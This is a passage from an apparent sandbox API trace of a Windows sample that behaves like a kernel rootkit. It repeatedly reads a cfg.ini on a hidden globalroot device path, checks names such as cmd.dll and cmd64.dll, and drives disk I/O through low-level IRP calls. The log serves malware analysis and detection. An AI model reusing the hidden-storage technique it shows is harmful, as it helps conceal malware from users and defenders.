nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.873] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.873] KeEnterCriticalRegion () [0125.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.873] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.873] IdePortDispatch () returned 0x103 [0125.874] KeWaitForMutexObject () returned 0x0 [0125.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.874] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.874] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.874] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.874] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.874] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4ae0 [0125.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.874] KeLeaveCriticalRegion () [0125.874] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.874] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.874] KeEnterCriticalRegion () [0125.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.874] KeLeaveCriticalRegion () [0125.874] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.874] KeEnterCriticalRegion () [0125.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.874] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.874] IdePortDispatch () returned 0x103 [0125.874] KeWaitForMutexObject () returned 0x0 [0125.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.874] KeLeaveCriticalRegion () [0125.874] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.875] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.875] KeEnterCriticalRegion () [0125.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d12000 [0125.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.875] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.875] IdePortDispatch () returned 0x103 [0125.875] KeWaitForMutexObject () returned 0x0 [0125.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.875] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.875] IdePortDispatch () returned 0x103 [0125.875] KeWaitForMutexObject () returned 0x0 [0125.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.875] KeLeaveCriticalRegion () [0125.875] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.876] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.876] KeEnterCriticalRegion () [0125.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] KeLeaveCriticalRegion () [0125.876] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.876] KeEnterCriticalRegion () [0125.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.876] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] KeLeaveCriticalRegion () [0125.876] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.876] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.876] KeEnterCriticalRegion () [0125.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] ExFreePoolWithTag (P=0xfffffa8003bf4ae0, Tag=0x0) [0125.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] KeLeaveCriticalRegion () [0125.876] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.876] ReleaseMutex (hMutex=0xf0) returned 1 [0125.876] Sleep (dwMilliseconds=0x124f80) [0125.886] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.892] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.892] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.892] KeEnterCriticalRegion () [0125.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.892] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.892] IdePortDispatch () returned 0x103 [0125.892] KeWaitForMutexObject () returned 0x0 [0125.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.893] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.893] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.893] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.893] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.893] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.893] KeLeaveCriticalRegion () [0125.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.893] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.893] KeEnterCriticalRegion () [0125.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.893] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.893] KeLeaveCriticalRegion () [0125.893] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.893] KeEnterCriticalRegion () [0125.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.893] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.893] IdePortDispatch () returned 0x103 [0125.893] KeWaitForMutexObject () returned 0x0 [0125.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.893] KeLeaveCriticalRegion () [0125.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.893] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.893] KeEnterCriticalRegion () [0125.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d18000 [0125.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.894] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.894] IdePortDispatch () returned 0x103 [0125.894] KeWaitForMutexObject () returned 0x0 [0125.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.894] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.894] IdePortDispatch () returned 0x103 [0125.894] KeWaitForMutexObject () returned 0x0 [0125.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.894] KeLeaveCriticalRegion () [0125.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.895] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.895] KeEnterCriticalRegion () [0125.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.895] KeLeaveCriticalRegion () [0125.895] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.895] KeEnterCriticalRegion () [0125.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.895] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.895] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.895] KeLeaveCriticalRegion () [0125.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.895] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.895] KeEnterCriticalRegion () [0125.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.895] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.895] KeLeaveCriticalRegion () [0125.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.895] ReleaseMutex (hMutex=0xf0) returned 1 [0125.895] Sleep (dwMilliseconds=0x124f80) [0125.912] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.912] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.912] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.912] KeEnterCriticalRegion () [0125.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.912] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.912] IdePortDispatch () returned 0x103 [0125.912] KeWaitForMutexObject () returned 0x0 [0125.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.912] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.912] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.912] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.912] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80035cdde0 [0125.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.912] KeLeaveCriticalRegion () [0125.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.912] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.912] KeEnterCriticalRegion () [0125.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.912] KeLeaveCriticalRegion () [0125.912] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.912] KeEnterCriticalRegion () [0125.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.912] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.913] IdePortDispatch () returned 0x103 [0125.913] KeWaitForMutexObject () returned 0x0 [0125.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.913] KeLeaveCriticalRegion () [0125.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.913] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.913] KeEnterCriticalRegion () [0125.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1d000 [0125.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.913] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.913] IdePortDispatch () returned 0x103 [0125.913] KeWaitForMutexObject () returned 0x0 [0125.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.913] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.913] IdePortDispatch () returned 0x103 [0125.913] KeWaitForMutexObject () returned 0x0 [0125.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] KeLeaveCriticalRegion () [0125.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.914] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.914] KeEnterCriticalRegion () [0125.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] KeLeaveCriticalRegion () [0125.914] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.914] KeEnterCriticalRegion () [0125.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.914] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] KeLeaveCriticalRegion () [0125.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.914] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.914] KeEnterCriticalRegion () [0125.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] ExFreePoolWithTag (P=0xfffffa80035cdde0, Tag=0x0) [0125.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.914] KeLeaveCriticalRegion () [0125.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.914] ReleaseMutex (hMutex=0xf0) returned 1 [0125.914] Sleep (dwMilliseconds=0x124f80) [0125.930] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.931] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.931] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.931] KeEnterCriticalRegion () [0125.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.931] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.931] IdePortDispatch () returned 0x103 [0125.931] KeWaitForMutexObject () returned 0x0 [0125.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.932] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.932] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.932] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.932] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.932] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abf170 [0125.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.932] KeLeaveCriticalRegion () [0125.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.932] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.932] KeEnterCriticalRegion () [0125.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.932] KeLeaveCriticalRegion () [0125.932] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.932] KeEnterCriticalRegion () [0125.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 